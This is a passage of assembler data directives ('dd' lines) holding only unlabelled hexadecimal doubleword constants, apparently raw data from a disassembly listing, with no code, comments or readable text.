4E384C31h dd 1BDB7500h, 98863189h, 0D24600D3h, 0BA381471h, 73F2C6Ah dd 1C50CB7Bh, 0FE22E8h, 6348D404h, 7173D6AEh, 79D5A607h dd 82F0D8D0h, 70FE0EFFh, 10D6F9h, 8EB80BB8h, 0E809FD3Dh dd 64A74CDCh, 0F550008h, 505BACCDh, 40079ADh, 9FAE40A6h dd 0F04C7DDBh, 0E70B05DCh, 90C75319h, 55AE9CF0h, 0FBD2B71Fh dd 2491542Ch, 7A848D02h, 0D48AE1A9h, 88AA69FCh, 0ED77D0A0h dd 49FC1C9Ah, 4C695389h, 0B4810538h, 3677156Eh, 0B66D012h dd 82A9A03Bh, 0C6D83070h, 639C7B71h, 1900E85Dh, 0F6B089A6h dd 4CAAC4B5h, 84001F04h, 4B2FC35Bh, 0B83855CDh, 0A938E083h dd 48BA9A7Dh, 0E4DD783Ah, 0D1C542C8h, 5420F442h, 0B116D92Ah dd 2F819200h, 30133548h, 7DC1024Ch, 34473D19h, 59106463h dd 0F5804615h, 31430D8Dh, 6409FD42h, 1C230215h, 3FF05CAFh dd 0BB03930Ch, 535246E0h, 9C87A5BCh, 1F427B00h, 0FC1303CDh dd 1E70F73Bh, 4491A918h, 182CCB1h, 6446C91Ah, 22CFD001h dd 23C58B4h, 0D6B3F9B7h dd 0CD4FC047h, 72B10B19h, 24C1DE59h, 94FA10F0h, 4E780088h dd 86237287h, 0D4009A81h, 839E684Ah, 7DDA8Ch, 32FED65Dh dd 817B79BDh, 0EA42D101h, 53664DFDh, 50840845h, 11D81414h dd 0C609FA71h, 78125326h, 0D8D9C15Fh, 668C4h, 313A3EBBh dd 9E759B9Dh, 380FABE8h, 0A0513DFh, 0BB0A08A6h, 0FF091416h dd 5338E87Ah, 0B559C0F0h, 1380BD33h, 6F60CE1Fh, 98B8D901h dd 0D439B3ACh, 41A1C067h, 14D51744h, 0FFAB0801h, 2C42577Fh dd 0A82D20ECh, 600CFC2h, 0F278B3D9h, 1504658h, 494E0AA6h dd 96024494h, 98007D60h, 84715D53h, 0E8D448A4h, 84FF1515h dd 45755100h, 59774430h, 0EEC20C00h, 7DB7C028h, 0A29D0C1Ah dd 0AA81339Eh, 5502D700h, 6A2979D6h, 0B91726D4h, 1F092F4h dd 0F7CDA4E3h, 5AC48B0h, 109EA324h, 4A581340h, 0D6640192h dd 1DB32911h, 12403DF1h, 0D4097C7Bh, 0DC2048FDh, 0A97867F7h dd 638651F4h, 0E918405Dh, 2B0B0CFAh, 1153E3BEh, 0C019D3C0h dd 0B491F583h, 8C10F1D9h, 0A6F49CE7h, 641F8700h, 297B01E4h dd 0BDC9203h, 46997DACh, 3440DC64h, 0F249C8F9h, 0B2031BACh dd 0A8AE12C8h, 0CD0951h, 0C64ED2EFh, 47545A4Fh, 1EB3D612h dd 4482C10h, 7FF03EB9h, 0DD833CC0h, 7EF71118h, 469118F3h dd 9587129h, 15DF1490h, 76C2A00h, 0C603BC6Dh, 45D9E988h dd 98901C2h, 756B71C5h, 7B683443h, 1547BD0Ah, 608088F7h dd 9D671A0Bh, 0F0C91F01h, 0CC186FA6h, 0BCB6796Ch, 6CD2BC96h dd 4208943h, 604E3BACh, 0D35B63C0h, 0F92ED467h, 822E471h dd 6C48E4B0h, 8684C00Ch, 0E7136D5h, 0A22AE51Ah, 0B2E8C713h dd 0FC79234Bh, 0DBCC3A80h, 9C1926A0h, 1366404Ch, 0E407119Fh dd 255DB267h, 0A82ED300h, 329301FCh, 0DB5E5706h, 550F99Dh dd 9054FC82h, 0EB2ED4h, 0CFA32A34h, 0BA745073h, 0CCB67900h dd 983D3127h, 0B5F700C5h, 0A21ECD34h, 673290Ah, 4EABB300h dd 0B874036Eh, 20DCE71Fh, 79F4EBBCh, 1CA3045Eh, 0F29C01B6h dd 0B486079Ch, 2009F0Bh, 0E47094h, 676AEBF2h, 47FF9DB5h dd 0D5099CECh, 0E4B2DB19h, 72D1241Ch, 48700AD6h, 1D1D4EE0h dd 280E3E95h, 0D11BADDDh, 0DC246DB0h, 41CF0A6h, 30C0E983h dd 0FF9C69BFh, 0F859C772h, 0F71C43A4h, 0A0789DD2h, 8D139C01h dd 2473FD1Eh, 0BC703BD9h, 60EB05D8h, 7B3DD2h, 7040D42Ch dd 0EE33B3AFh, 0B27A66DBh, 481CD0D0h, 21DF107Dh, 0D4D87716h dd 7F02883Eh, 6AD3DC00h, 0A76FAFF6h, 0B2FA0225h, 8033168Dh dd 40867042h, 0DC133132h, 3808CFACh, 8C9D92FDh, 77883A6Ch dd 45C100AEh, 0DCCAEBD2h, 100C903Bh, 0D8AB0FFDh, 0C019D7D1h dd 0F752B6C8h, 87FE51CFh, 87E09BA1h, 0A6AAAh, 8A6936CDh dd 0F7DB0FF0h, 74439492h, 7792C788h, 37648800h, 279C29Ch dd 741B2B51h, 0E0D0FD1Ah, 0A2880882h, 28902F14h, 0E7026512h dd 0C77907BFh, 0A0A49347h, 118CF0Bh, 413A7BE6h, 0F4BCCE21h dd 87B15DBh, 9004D0AAh, 4125FEAh, 14E32840h, 1DB176CEh dd 405F1793h, 0D1BE3EE0h, 3A146057h, 81A07EFFh, 18D5A615h dd 9C50202Eh, 1FE29427h, 87055E3Ah, 0DA1276DEh, 6F0BC980h dd 0EB830CD9h, 0FC31753Dh, 0DA81CF00h, 7677A4ACh, 0B96E3F2Ch dd 0B78024BFh, 58207337h, 14953D14h, 4710BEBCh, 2023B09Dh dd 0FA001DC2h, 0CC60127Ah, 84A7B8h, 2A770AEDh, 94152B85h dd 80C86C3Ch, 7579CFF3h, 3DD135Ch, 66470FE5h, 7EA05F5Dh dd 724876B1h, 773A0170h, 71F70256h, 0AC40B432h, 3B5A017Dh dd 916A7CFFh, 0C0042CDAh, 0F1A0AF47h, 3FBB0018h, 8F6ACFF7h dd 0ACFC9F75h, 10BFF3Eh, 82D00A0Fh, 45F035D7h, 466007Dh dd 0D9E7B678h, 0D425A66Bh, 11482091h, 2E1DEDh, 27329BC9h dd 2DFD9D8Ch, 86A41A02h, 4951F601h, 0A5FD05D0h, 0CF6338F2h dd 0DCC64804h, 3340F914h, 7D03040Ah, 37EB8900h, 0A4D7295Ah dd 258E7B48h, 0F4AE75F7h, 0A41AB9C9h, 70A6E494h, 26D77012h dd 0EC052116h, 0A0F2066Dh, 0C4679984h, 0FA7C82E0h, 0D6323820h dd 0BC0904CAh, 0B919CF0Ah, 0B11A2288h, 50CD80C8h, 2EBD37C2h dd 7604A0BEh, 9E065E0Ah, 86003131h, 8040D38Eh, 0D4689416h dd 993C9088h, 0BB2DA580h, 65C2D538h, 9475B200h, 5C8C4A46h dd 1C064C3Bh, 5EF8C511h, 3AD31860h, 50F94E2Eh, 7E119460h dd 2C205FEAh, 151C450h, 0DF5A1EEBh, 0C13D03ABh, 4196CC2Bh dd 7D640B13h, 1710FC00h, 5379E6h, 3FC321DCh, 7B666DD5h dd 357D08A0h, 0BA8014A0h, 5854115Ch, 104BCBE0h, 0E1AE1D80h dd 5680DC28h, 0A50447E5h, 0FE7A5CE6h, 5D4DAFA0h, 30B42807h dd 0F30F817Ch, 0B04FE888h, 72BE0919h, 400F5A41h, 0B7490091h dd 0A5993A05h, 2D4D02E5h, 0C0223645h, 0C7F76340h, 0AC80B4BCh dd 342B19D3h, 2AA63A25h, 49ED5D18h, 0E6075C1Eh, 6E621577h dd 6CD3E720h, 0A7FB3EF2h, 1F85EC83h, 6488501Ch, 0C9C00515h dd 0D43BE78Ah, 7F71E6B2h, 5D690E76h, 820B7EEh, 219EA21Bh dd 4C80334Bh, 38BFA7F7h, 20DEB3DAh, 0FB7A69ACh, 0D8407312h dd 0C877B8E1h, 0ACA4AF00h, 0DD5DB4FAh, 0B0569900h, 5CC0028Fh dd 0AEB833F4h, 21C59C29h, 0E8C84A98h, 7600A570h, 2FE8B29Eh dd 579D6A6h, 667BB8Ch, 6E60F453h, 0DAE1B502h, 43B3A2EBh dd 0FC19263Ah, 5C43906Ch, 1E88786Ch, 1FD8E7A4h, 78531AEh dd 83F52E50h, 5AB87589h, 0D504AABCh, 0D0591901h, 0A2FC6C9Dh dd 8751891h, 0AE63DD1Dh, 6402DD66h, 5EEC2CEDh, 0A487253Ch dd 250C1A79h, 12003844h, 0CE99C64Fh, 0E63F9FA2h, 0A12300CCh dd 0FF484CD1h, 0AB14DAF0h, 260587Eh, 0ADD83071h, 40A474E6h dd 0DC2E0DC3h, 0FE954C3Ch, 10D53304h, 44BC8B1Ah, 41A9F93Bh dd 33B01D0h, 3DBFF7CCh, 0A3F86090h, 9DB2199h, 0D556ACD8h dd 5CFE5084h, 0B62ACB00h, 8F746Bh, 37567CD8h, 71943FBCh dd 0B8AA693Ch, 74204BA1h, 2595E3h, 3A0D1B77h, 0B1DC56B6h dd 8198E904h, 0D8EC5A5Dh, 47E32680h, 21059F63h, 69CDC722h dd 1C5C4C0h, 0F9D10445h, 801DAB89h, 202814D4h, 909AA327h dd 0A296BCh, 484F2CB8h, 5909EE95h, 6EFB811Ch, 0E3DAE580h dd 0C7AE92h, 45A78A10h, 5F7D0D06h, 8001FF39h, 345D79D8h dd 2677D2FBh, 96F06D75h, 868430CDh, 330676D9h, 3A127F10h dd 0FE78755Ah, 4A3702Dh, 28E2A216h, 724CABBh, 9080D3A4h dd 7BE483B3h, 3AA104B1h, 8C1289F3h, 6D3F7C04h, 480A8007h dd 238E671Bh, 796B1E2Fh, 9A05C9F6h, 0C29D0104h, 0DA203220h dd 0E4BF14h, 6E11AB40h, 6367B64h, 10E1B100h, 751FB32Fh dd 447496BFh, 0D828023Fh, 6C59C8h, 0C503361Ch, 5379470h dd 1882C1E9h, 9D846447h, 0FF044801h, 902C2879h, 1330FD4h dd 7A031FE5h, 0C80EF0D7h, 389427Dh, 662C6BECh, 0ADB06952h dd 5A003D60h, 7C03BBFFh, 0A929E9h, 13BAAB67h, 0C4F1EEE6h dd 12C7D7Ah, 0A840A815h, 0F3A3D503h, 782DE1EFh, 64FE4E4h dd 7A3CB829h, 610929F5h, 81CB328h, 149078E0h, 9CAA4020h dd 0F1019479h, 0B98BF7FFh, 1F96E4h, 3F971647h, 2607E590h dd 0D11CBBF2h, 9ED31E10h, 0E6FB2830h, 13DD1FF9h, 0B67500DCh dd 77FFE405h, 0E68FC4BCh, 0DB29C145h, 74313BC0h, 829F5E9h dd 89166B83h, 0DC6C5C99h, 84004DABh, 7F519818h, 26814D3h dd 70F771C5h, 9CF23B9Eh, 80307E48h, 6E2E42D6h, 8B7900C7h dd 239D1473h, 0C437D5A4h dd 0BB28387Ah, 49C8B126h, 87816498h, 1A218000h, 0C0A20BAEh dd 3A202EE4h, 0C96B18BEh, 29199E63h, 0E2502684h, 149FB908h dd 28F490h, 8E7B01B6h, 841EC1E5h, 0B06279F8h, 4675FF21h dd 43A9F1Ch, 0E273E404h, 0D6041694h, 8AACCF0Eh, 0AB03E071h dd 0E2241B89h, 7CC7923h, 0F0E07058h, 0C702D261h, 49661800h dd 2E9E73A0h, 9C05842h, 3112B819h, 2503C05h, 0BA9B7DB2h dd 0CBB1903h, 803CBEE9h, 83347451h, 0A105A675h, 0DBFF6FBCh dd 3D25348Fh, 0D4059864h, 527BE584h, 22653082h, 0A0F17CF7h dd 6C352A00h, 0E0EBA429h, 0D9D83F49h, 0F96B1100h, 2C74A967h dd 6C8C2100h, 7BDE73B7h, 7FFF18A4h, 0FA53A93Dh, 0D74789C0h dd 376D271Bh, 0D260F6F9h, 1C7ACF91h, 0D43A7442h, 0B4D2ADB0h dd 0DC0FA9DAh, 0E584411Bh, 0E49C1073h, 943A2CBBh, 0F10C127Eh dd 3073B0h, 43496755h, 5215DA90h, 7211F4D6h, 0FA884034h dd 17190084h, 7DDBAA41h, 2D0BADBCh, 80AFCD8Fh, 2BBBB4CCh dd 5DFD3C08h, 60085328h, 0D620B1A1h, 9D127473h, 18CDF65Dh dd 4E84A1E0h, 0BCC539Eh, 88E4A4C8h, 64213512h, 407C288Dh dd 0E49E3412h, 86484210h, 4E3C7D5Fh, 597F81C9h, 586919F9h dd 8833B830h, 5002711h, 44B3848Ah, 169D646Dh, 0A34673FFh dd 76A61F30h, 0E872253Ah, 0B7977E8h, 0DCC7F43Dh, 17FA7899h dd 5748A40h, 7BE6017Eh, 8BC273Eh, 7C042EFBh, 0BC10F14Dh dd 8D330CC3h, 0F9B0BB81h, 0E2686910h, 0EDD841C8h, 3F387D09h dd 0EC4C80FAh, 2F9CFF7Ch, 3624042Ch, 0EED6094h, 188F7Dh dd 0AA6C0CA7h, 727903D2h, 51CB970h, 0ED476AF8h, 71CF0801h dd 78FFAB8Ch, 1138282Eh, 0D04E3100h, 34913238h, 0C58C3F1Fh dd 7DFF6385h, 0F518083Eh, 8760D680h, 4400627h, 3B337963h dd 2078899Eh, 53018A95h, 43065581h, 8E708B9Ch, 0D689043Ch dd 0E29E3587h, 11FB2168h, 0F0A7003Fh, 5B9082F3h, 0A2DD0172h dd 207DE47Fh, 527C3003h, 9DDCFD40h, 70144890h, 9A0165F6h dd 0D5733A78h, 58103191h, 700775CDh, 0F70AFA8Eh, 0A3805A75h dd 17CAD87h, 0CC3CB391h, 7C753D21h, 9004929Ch, 68C7A1ADh dd 7CD5D614h, 8139BC08h, 8C3E44DCh, 79AC41EDh, 423D1146h dd 78D58017h, 0B8C48C61h, 0F742C354h, 7C84EC83h, 0D68C4049h dd 0E0753622h, 0FAE200EAh, 5DC4B31Bh, 5000CA77h, 0D2B21125h dd 38C38C9Fh, 0E851DC19h, 4C014805h, 15200637h, 94167095h dd 20646427h, 0B4027600h, 20C9BD32h, 0FA28C81Bh, 3AC06084h dd 0F5C6C4C1h, 2C004467h, 0E519B76Dh, 0A7044B11h, 3B20565Dh dd 40C81A0Ah, 52A0AFF7h, 9FA4A09Fh, 66F67Bh, 4305E56Ch dd 19BF60CEh, 0F0531B00h, 0D60E2251h, 199D737Dh, 50D96DC5h dd 43A44862h, 124949Fh, 0B5479CE6h, 0CCD3BD89h, 7CB072C5h dd 0B121A442h, 69C96160h, 0C53318C8h, 39C63059h, 8BF5BC88h dd 484482E2h, 0ACDB182Ch, 846DD70Fh, 90BD7A71h, 0D5DB3FC0h dd 1E001B70h, 0AEBFC074h, 0BFD5E88h, 2C28362Fh, 6451BC8Dh dd 0C3050EBCh, 6AFDDDEDh, 81FB8C4h, 3D22FA41h, 443A0976h dd 2255720Ch, 61FB20F2h, 0EBF2180Eh, 5F010375h, 87844694h dd 80EB19CAh, 3AA2B10h, 0BBAB669Bh, 71F04863h, 4F02CB9Eh dd 1F72FC0Fh, 235D4101h, 66ADE0CFh, 4488A27Ch, 0BB1E3A5Ch dd 0DB2B978Bh, 14CECC11h, 2000E4FCh, 15066139h, 2A015547h dd 8C758456h, 1ECA95Ah, 58E0B0B3h, 538AB8C5h, 8F1D40C8h dd 0C9001927h, 1C3A66C7h, 6152B112h, 7D042181h, 0B0233E4Ah dd 0F422847Eh, 35DD7820h, 22310048h, 438D94C8h, 0D5E5826Dh dd 802878BDh, 562D1726h, 48C200C9h, 8857CAE6h, 72E4A198h dd 839A8902h, 6491F7DDh, 0E55D005Ch, 0A7101AC4h, 5FB80852h dd 0E07E470Bh, 0B0E4D1h, 1363AC64h, 6F9961D3h, 3DBA838h dd 9DD0B774h, 0F4B10BDCh, 0D43A3873h, 50ECF063h, 13A22F0h dd 8E3B9DDCh, 2AD14ED3h, 76601C22h, 1B674038h, 6B1EDE03h dd 7000E9ABh, 6F74428Ch, 0C24C5B0Fh, 8000B90Ch, 9FFD7AB2h dd 437670A2h, 0C7E008DCh, 0C01F3Bh, 0B65D7949h, 0A5B56925h dd 0C7C2CF8h, 6747E80Eh, 0DD2002BAh, 0C00C7404h, 0C521A6ADh dd 657CDE0Bh, 0C7B4821Bh, 0C17D05F0h, 570845DCh, 2B67384h dd 9F427980h, 0DCECF450h, 3088147Ah, 55BB0082h, 266384F1h dd 0E5CC340h, 76F822C0h, 0D5B11278h, 0AE580255h, 5C42668Bh dd 0F1A700D5h, 0AAF245h, 0D8F8FBB4h, 42AF2A10h, 0BF22C226h dd 4C265C1Dh, 3CF57104h, 0C87CCADh, 7055A049h, 67D01BFh dd 785098BDh, 4914395Ch, 4216F000h, 0B29F972Bh, 286A0D2Eh dd 0A84A7908h, 2FD2E754h, 40380051h, 755802A7h, 0C380A096h dd 8E482CEh, 0C6ECF600h, 0E0958AC2h, 9B170159h, 79F09E85h dd 53B848E7h, 90000CB9h, 780E3EDDh, 137031h, 0D46858Dh dd 1F2461C5h, 54FFF426h, 0AFDBF841h, 427D3C4h, 64D1FDA3h dd 1847C0A7h, 0D263F1D8h, 95C7F719h, 708AD8ECh, 3EBB0020h dd 0B7A2D7B9h, 382ED527h, 9417BB54h, 0F869A5CCh, 0F7EC607Dh dd 0E4F2782Eh, 0F0617F66h, 7B790AD6h, 14B88C43h, 0D73D8C01h dd 49FB3DC0h, 21A837A4h, 53991E75h, 79D832B0h, 0B241D131h dd 0E983B7BCh, 0F142CAD4h, 3B3774D0h, 66D22C2Dh, 0A30516E8h dd 449C0119h, 3B9F7779h, 4A85827h, 0C852B868h, 9B00D060h dd 0CD1FDE36h, 49860C9h, 9ED3B9D8h, 97ECE8B1h, 0DA813005h dd 0F4E4CCh, 1D257FE0h, 0E4BA0A56h, 710F6102h, 62948F89h dd 52C6644h, 0B72811E3h, 0DCECE39Ch, 52814B01h, 287869CBh dd 74706100h, 91427B9Dh, 9020F4BEh, 0B28BF6F6h, 0BEF8E4B9h dd 0C4E94080h, 0F01316EEh, 7C8858E3h, 0BD6F008Dh, 37A92AECh dd 3D1D527Eh, 0CAD7D25Eh, 67003313h, 0FC1424B2h, 44070E60h dd 74CDD381h, 47244140h, 3C7363h, 0DACC02C7h, 15DBDC54h dd 4CE176F7h, 0F911F321h, 47DA7F00h, 68F076EFh, 0E71CB900h dd 12BE9B8Dh, 6F09043Ch, 83D55F4Ah, 7027641Ch, 4BEC107Bh dd 0DA8514A6h, 3F029307h, 6F84F7EBh, 2D7867C1h, 66C62DB0h dd 45913190h, 0C0A51C41h, 657C3F53h, 74F770C5h, 0D187CB4h dd 26C710A9h, 0B3D4F3C8h, 28450674h, 20A09D22h, 6052DC6Bh dd 94802944h, 0F39E90A1h, 16099681h, 68E0D199h, 0D6B60084h dd 445E017h, 9F266A6Fh, 30A8A0F2h, 71DAA102h, 40D1F6A9h dd 0E4BB1820h, 6449003Ch, 0BF0668EDh, 95C3072h, 0ECD42CF3h dd 95B32505h, 17428F2h, 0CEA38F6Fh, 360D81F9h, 80FF3B80h dd 0AA018AF7h, 3B95AEFAh, 7B8B44FEh, 2C0409F3h, 4EDC4F45h dd 8B5A073h, 5379D5h, 0E801EDEEh, 0D392357Dh, 0D1B1D80Fh dd 85D0A63h, 14200424h, 0F883F726h, 47771842h, 0F6C1164h dd 5E2C45C8h, 6089F3CFh, 0F1E2AF72h, 1471F8DAh, 88DC8BA1h dd 0F669835Ah, 3FDB1800h, 6BF95378h, 34B1265Dh, 4A1B093Ch dd 8946008h, 0AC00FE0Dh, 0A5D21643h, 3D7D07D0h, 0C02BFB5Dh dd 38B8B144h, 0F731F00Ch, 0F8AB400Eh, 644A801Ah, 72C107EDh dd 1880FE52h, 9E7B3711h, 90611346h, 0D9D0E6A8h, 0D2737900h dd 18A04080h, 300A698Bh, 393E9E35h, 73A813CDh, 0E890B0F1h dd 0F61B1066h, 24E75284h, 742871C4h, 81E18024h, 20091544h dd 3D081AFAh, 0F82AE9E6h, 77751968h, 0DA2FA77Ch, 0C0701A7Dh dd 0B81CC70h, 0E04542B8h, 0D80388Fh, 0AAA94333h, 17784C48h dd 0AC00E8F8h, 0AC3DB12Bh dd 41386096h, 0E00BEEC7h, 0E489D0C0h, 0F7E290h, 0CCA48887h dd 0F2AAF7Bh, 62FC20CEh, 9EB30CEFh, 93B92320h, 44BBAD3Ah dd 8D820578h, 0C0AD46E5h, 79C40958h, 5FD81002h, 569FF82Ch dd 5DC053B0h, 1F12B0AFh, 40880460h, 0F654121Bh, 315824B7h dd 84145D04h, 0F58C10A1h, 3A530481h, 946CC240h, 0E902Ah dd 0F6B95DFFh, 78116F05h, 4E29FA64h, 0E521C740h, 0EC0179FDh dd 9CB6465Dh, 5BE98C08h, 1E63DFF8h, 22B307h, 939D3006h dd 504BEC45h, 400E75ECh, 0F9E3113Eh, 47E06976h, 163BF3AAh dd 146F9F87h, 3D33C700h, 7A9D9FA1h, 4A8200EAh, 5AB26BD3h dd 3A1C741Ah, 9E40448Ch, 73C4729Bh, 387481h, 0C856BCDFh dd 0AE064E29h, 477CE41Eh, 410CF100h, 3A7B2F4Ch, 4A2CB012h dd 9CAC80CCh, 10EC438Ch, 3BF8D103h, 0D0DA67CDh, 878539h dd 210BAC13h, 0A7AAFD6Fh, 8B6D9F00h, 729E49FAh, 7261EEE6h dd 7C86009Dh, 0E228CB17h, 87006C1Ah, 93B865B5h, 3216A6h dd 0EDCE01D3h, 63BDD4DFh, 424C5Ch, 2E49AE6Ah, 1C341D1Eh dd 0C0E7D974h, 6B0B602Bh, 73A7A9Bh, 7FA08002h, 0DF0822BAh dd 36373A16h, 386CF000h, 0E36DCBA5h, 112DB5FEh, 17940034h dd 3F2CB4F1h, 7687BC49h, 60D86C86h, 0E972B35h, 42D77300h dd 3B61553h, 75223F6Dh, 192F9Eh, 14ED176h, 8731C920h, 0C39A4E99h dd 0C43FD050h, 34BF2629h, 0EB48060Fh, 0E701181Ah, 37D30F07h dd 93DBF3E3h, 7620BF5Eh, 1031116h, 0D68A5DC5h, 0E4E5C464h dd 0C00A8F9h, 0F6F01FBFh, 1E1A8FBCh, 655575C5h, 59F53C80h dd 0A80089D6h, 64C00F11h, 5E410Eh, 0B3B5CB1Fh, 0E7E873F6h dd 8458332Ch, 995D4400h, 1C983C92h, 40E939D1h, 30A0F905h dd 0F1006BD9h, 6D31979Fh, 81651Fh, 0DFD17C3Ch, 87AA9BC5h dd 39EC6600h, 0F047FB22h, 0F9F22E5Fh, 5B80623h, 9A28380Dh dd 5E30EC75h, 0DA6E1011h, 47C70062h, 0ED74D622h, 801E1629h dd 9A800782h, 2BD36986h, 928C2D88h, 0C417D880h, 19006235h dd 5A69DA90h, 0BB78EAh, 2E50DBF3h, 0FF3BA208h, 1F99F90Eh dd 39536667h, 0DB0D24B4h, 405B9E78h, 5784F2BAh, 0C90074B1h dd 7D25F0FCh, 76D9E96h, 3DF8C311h, 80AE97F6h, 4FC949DBh dd 0D977E002h, 688E2974h, 5F6508h, 0B5A28AFCh, 0A59427C1h dd 362AED07h, 91F009CDh, 8F2B7Fh, 0E68A3444h, 0E30A79A3h dd 0EF56DD00h, 0B52E604Bh, 5EE006Bh, 0CAB009BBh, 0BD00D538h dd 3DBF58ABh, 0F9A02A2h, 0C857A799h, 1EE02823h, 0D521C3E0h dd 0A96BFD28h, 3AB13226h, 3385CC00h, 80466Ah, 0D12A3C8Ch dd 0C5363893h, 6F6D6B00h, 0B260576Eh, 9C1F00A3h, 8577BC1Dh dd 8B0719BAh, 18AB989Bh, 156887E0h, 90CE25B0h, 67511805h dd 3933F1BCh, 77A850F7h, 173D9505h, 61D59308h, 82550340h dd 5F6EECh, 0A2FF0FD3h, 6091632h, 9C729900h, 0EFF6B125h dd 86BA058Eh, 11090h, 2EEB4EBCh, 0FF0399D6h, 0C8D808B6h dd 48682C96h, 0F26F00B0h, 4E376D29h, 0B9ABD900h, 0C42769A4h dd 0F70C30CFh, 0BDB34768h, 22193500h, 0C1C8FC61h, 0AF0D0273h dd 29BE1E96h, 0E50BE0A2h, 0CCBD7041h, 0FA007A06h, 29C0D458h dd 1C128317h, 0C27ED367h, 69FFCA21h, 0D13A848h, 42E662F0h dd 0CD1C5500h, 0FB30ADBBh, 92F246Eh, 0C83B04E8h, 9FC4C02Dh dd 0DB1F7B06h, 2F804F56h, 0D744FCCCh, 9D8C0037h, 0D9C3880h dd 0E20057C6h, 0FEC75D39h, 87635h, 0FDC98E9Eh, 0E38651D5h dd 0F00069F0h, 0C6A39F96h, 1FC7667Dh, 1CAE4D88h, 4347DF11h dd 0A08CF259h, 5CC81BE2h, 19EA05EAh, 98A81400h, 94D7BDDAh dd 7BED3955h, 0F586E680h, 0AE3EFE21h, 1BA29A01h, 15E4BF2Ch dd 8364C88Fh, 71C072C0h, 6D00A984h, 4EDF8FCAh, 3391EAh dd 1DC15327h, 0BAABC03Ch, 0DBBC2A12h, 0AA00C0A8h, 0EA739429h dd 0BE005541h, 9BF8FE15h, 0E7051Dh, 0A01E0378h, 99A6CBB9h dd 0DE910100h, 903DF941h, 0BAF840FBh, 986BF52Ch, 31CD1980h dd 0D94DE9h, 0E656FE40h, 0ED39C541h, 61265D7Eh, 690065F5h dd 54DC72FDh, 2E7A0484h, 82779666h, 94DC2CC4h, 0BE527950h dd 1C7F9C54h, 0F48725DDh, 66514117h, 88457A87h, 1C04597Dh dd 68AC107Fh, 0F898DC82h, 0AD41DCF6h, 0B4D40C55h, 88B0E7Fh dd 7E8F7C4Ah, 0AB56A860h, 53026602h, 4F281051h, 5425607Dh dd 2D630B71h, 1CFAC1B1h, 0A040C42Fh, 0FD2847E4h, 0D173BBh dd 0F688D26Ch, 0F5B3133Bh, 6C0BCC4Eh, 0AD0459CFh, 750AECE0h dd 7A665A1Fh, 203A1021h, 9A5317E9h, 7D4C07E5h, 0B6FA60A5h dd 310742ACh, 87FBF722h, 520E5400h, 47FF000Dh, 93EA69A1h dd 0C11C926Eh, 1B406F9Eh, 0A454BC3h, 52C701DBh, 0F342C19h dd 207F1Ah, 19BE6D8h, 33C91DD0h, 0D487CE99h, 149FBCF7h dd 0B0D51CD4h, 0B6788083h, 0AD617048h, 95D61000h, 0D3CFBF27h dd 7D790673h, 60EAC03Bh, 9E349050h, 0C6006CF2h, 0B803ECB6h dd 5F3EA389h, 38702019h, 0A503799Ah, 0D4F37A23h, 75D805A8h dd 0A810CE9Dh, 0DE0E8010h, 5BA5FA18h, 8574D15Ch, 3104FDB9h dd 0B3EAC0CCh, 183A8D00h, 1FBCAEB1h, 8BB20782h, 0F38479D6h dd 0E9E826CBh, 5E046603h, 96ACCFFh, 30144081h, 0AE1E2282h dd 0D0809B13h, 27E9450Fh, 0F7AC9E00h, 0E36A7DEBh, 5790798h dd 900FB5F4h, 759E31EDh, 0ABE8A41Dh, 0A651053Bh, 0CAC180Eh dd 120968Eh, 504EC566h, 0B0175E00h, 293E4295h, 0E41507D4h dd 80BBF492h, 0E34E2756h, 0F9917503h, 0E0FFED70h, 3B773806h dd 7DA5076Dh, 15E0C0EBh, 0F33A5B5Dh, 88D92A85h, 0DB972E00h dd 89B9281h, 537E12D1h, 4CB943h, 0CD9C2957h, 99A1E0h, 882822BCh dd 0EE4F3A26h, 75CE5C00h, 4CED0B5Bh, 0D58D0603h, 100486A9h dd 0A1048752h, 11805075h, 5AFD990Bh, 4702774Dh, 0E93593D6h dd 239840EFh, 0CB2E00BDh, 9E240967h, 87002592h, 0B14BD6A8h dd 738F03CDh, 70ED00DBh, 0F3118493h, 430EE535h, 0A0590A0Eh dd 0BE1844F2h, 0DB38007Ch, 0D391CE68h, 0D7E86B7Fh, 3E632F0Eh dd 0EE4D4113h, 42E876EFh, 0F69E76A7h, 2719007Ch, 9303615Dh dd 0F3F6D15h, 7A3003A4h, 0D0A52151h, 75323Ch, 763F336Bh dd 2E7B7460h, 5C277300h, 947C4649h, 0FBBF281h, 0EE5EB7DFh dd 40988AE0h, 0FD1D50A4h, 9D8047E7h, 0CCEB642Ch, 357D41h dd 0D0A8F613h, 0D9CA897Bh, 7843BE39h, 9E00D575h, 0C71C1128h dd 5533F7h, 9351B5F6h, 16F06658h, 97007872h, 337E15Fh dd 6E0A8Eh, 57A2597Ah, 920DDF3Ah, 0F7B31903h, 17905DDBh dd 0FB9A539h, 43C1299Ch, 0C2316862h, 21C8D085h, 5099A298h dd 0F318AE8Ch, 2F6CA801h, 4DDC76FEh, 0E701EC50h, 50145832h dd 2DC52400h, 1AEE1D58h, 0B5CF4100h, 906C776h, 0E74B07F6h dd 9005E8CEh, 0CADCEA23h, 0B7409901h, 0C8C994E9h, 3E89C0ECh dd 790F73F8h, 8E6CCCB9h, 670011ACh, 0D7502AF7h, 2F2C43h dd 0C4DFBF8Ah, 35CEB845h, 5F6BC701h, 0A682C049h, 7502A840h dd 6AAF0347h, 5987A401h, 0DF4AF803h, 0E7CD42D2h, 79715180h dd 724E0733h, 0F75D199Dh, 0BA6AB4h, 0F78B760h, 0FA1FEA89h dd 0BA8E22E7h, 0FDC8C75Fh, 6016E152h, 4C6E9Fh, 5E5A3EB2h dd 0CCA08A04h, 4A13D31Fh, 3479E7C0h, 0CDD44h, 99B626D5h dd 0A0A27C1Ah, 7E007378h, 10B1E224h, 2E2F20FAh, 18EAD92h dd 9A08D86Eh, 6A020F2h, 40A60703h, 0E89DDAABh, 47F5E0h dd 0E2F9257Ch, 4A20F241h, 615F7100h, 8B777328h, 0C4620053h dd 0DCDEA43Fh, 7A030E83h, 45122226h, 2CEE801Bh, 0B5550067h dd 0BC1EF8F5h, 4D004C21h, 0CDC52934h, 7430FBEh, 375CF612h dd 35D786h, 0B84409C8h, 7BF1263Fh, 3D56804h, 89399F9h dd 949901D1h, 92F3C4BCh, 0AC56C4BDh, 0C227E507h, 0D32044BFh dd 77B1D0h, 5B634266h, 492EA15Fh, 1FCA7800h, 0B6729CE7h dd 7FA1A1D4h, 7682DC50h, 0A00800B3h, 0EEF680F8h, 4E002023h dd 0DC2C4BE7h, 0A0A55296h, 616EFCh, 0F5D9F443h, 0DAB998BBh dd 0A4A81464h, 0CA0048C9h, 40BC2AEh, 0FEE21DEFh, 2D8C90ADh dd 